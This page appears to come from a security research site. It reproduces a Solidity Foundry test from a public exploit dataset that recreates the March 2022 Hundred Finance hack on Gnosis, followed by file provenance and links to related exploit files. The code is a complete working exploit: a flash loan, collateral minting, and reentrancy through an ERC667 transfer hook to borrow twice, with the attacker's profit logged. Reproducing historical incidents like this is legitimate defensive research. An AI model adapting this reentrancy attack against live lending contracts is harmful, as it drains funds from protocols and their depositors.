Public reproduction file
src/test/2022-03/HundredFinance_exp.sol
Public reproduction file for dataset entry Hundred Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8Root cause: ERC667 tokens hooks reentrancy.10Attacker wallet: 0xd041ad9aae5cf96b21c3ffcb303a0cb80779e35811Attacker contract: 0xdbf225e3d626ec31f502d435b0f72d82b08e1bdd12Attack tx: https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a09813Debug tx: https://dashboard.tenderly.co/tx/xdai/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a09815 Vulnerable contract:16 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee17 0xe4e43864ea18d5e5211352a4b810383460ab7fcc18 0x8e15a22853a0a60a0fbb0d875055a8e66cff023519 0x090a00a2de0ea83def700b5e216f87a5d4f394fe21ref: https://github.com/compound-finance/compound-protocol/issues/14122credit: https://github.com/Hephyrius/Immuni-Hundred-POC*/23interface ICompoundToken {24 function borrow(25 uint256 borrowAmount26 ) external;27 function repayBorrow(28 uint256 repayAmount29 ) external;30 function redeem(31 uint256 redeemAmount32 ) external;33 function mint(34 uint256 amount35 ) external;36 function comptroller() external view returns (address);37}39interface IComptroller {40 function allMarkets() external view returns (address[] memory);41}43interface ICurve {44 function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external;45}47interface IWeth {48 function deposit() external payable;49}51contract ContractTest is Test {52 IERC20 private constant usdc = IERC20(0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83);53 IERC20 private constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d);55 address private constant husd = 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee;56 address private constant hxdai = 0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE;58 ICurve curve = ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353);59 IUniswapV2Router private constant router = IUniswapV2Router(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));61 uint256 totalBorrowed;62 bool xdaiBorrowed = false;64 function setUp() public {65 vm.createSelectFork("gnosis", 21_120_319); //fork gnosis at block number 2112031966 }68 function testExploit() public {69 borrow();70 console.log("Attacker Profit: %s usdc", usdc.balanceOf(address(this)) / 1e6);71 }73 function borrow() internal {74 IUniswapV2Factory factory = IUniswapV2Factory(router.factory());75 IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(wxdai), address(usdc)));76 uint256 borrowAmount = usdc.balanceOf(address(pair)) - 1;78 pair.swap(79 pair.token0() == address(wxdai) ? 0 : borrowAmount,80 pair.token0() == address(wxdai) ? borrowAmount : 0,81 address(this),82 abi.encode("0x")83 );84 }86 function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {87 attackLogic(_amount0, _amount1, _data);88 }90 function attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data) internal {91 uint256 amountToken = _amount0 == 0 ? _amount1 : _amount0;92 totalBorrowed = amountToken;93 console.log("Borrowed: %s USDC from Sushi", usdc.balanceOf(address(this)) / 1e6);94 depositUsdc();95 borrowUsdc();96 swapXdai();97 uint256 amountRepay = ((amountToken * 1000) / 997) + 1;98 usdc.transfer(msg.sender, amountRepay);99 console.log("Repay Flashloan for : %s USDC", amountRepay / 1e6);100 }102 function depositUsdc() internal {103 uint256 balance = usdc.balanceOf(address(this));104 usdc.approve(husd, balance);105 ICompoundToken(husd).mint(balance);106 }108 function borrowUsdc() internal {109 uint256 amount = (totalBorrowed * 90) / 100;110 ICompoundToken(husd).borrow(amount);111 console.log("Attacker USDC Balance After Borrow: %s USDC", usdc.balanceOf(address(this)) / 1e6);112 console.log("Hundred USDC Balance After Borrow: %s USDC", usdc.balanceOf(husd) / 1e6);113 }115 function borrowXdai() internal {116 xdaiBorrowed = true;117 uint256 amount = ((totalBorrowed * 1e12) * 60) / 100;119 ICompoundToken(hxdai).borrow(amount);120 console.log("Attacker xdai Balance After Borrow: %s XDAI", address(this).balance / 1e8);121 console.log("Hundred xdai Balance After Borrow: %s Xdai", address(hxdai).balance / 1e8);122 }124 function swapXdai() internal {125 IWeth(payable(address(wxdai))).deposit{value: address(this).balance}();126 wxdai.approve(address(curve), wxdai.balanceOf(address(this)));127 curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);128 }130 function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {131 IUniswapV2Factory factory = IUniswapV2Factory(router.factory());132 address pair = factory.getPair(address(wxdai), address(usdc));134 if (_from != pair && xdaiBorrowed == false) {135 console.log("''i'm in!''");136 borrowXdai();137 }138 }140 receive() external payable {}141}Analysis
Dataset entry
Public Foundry test for “Hundred Finance” (2022-03-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/HundredFinance_2_exp.solSame protocol or name in the dataset · 327 lines
File record
- Name
- Hundred Finance
- Path
- src/test/2022-03/HundredFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ae12552cd5e2848e8ef9f601e2759d9c336e7855
- Language
- Solidity
- Size
- 142 lines
- Date
- 2022-03-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/HundredFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ae12552cd5e2848e8ef9f601e2759d9c336e7855, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.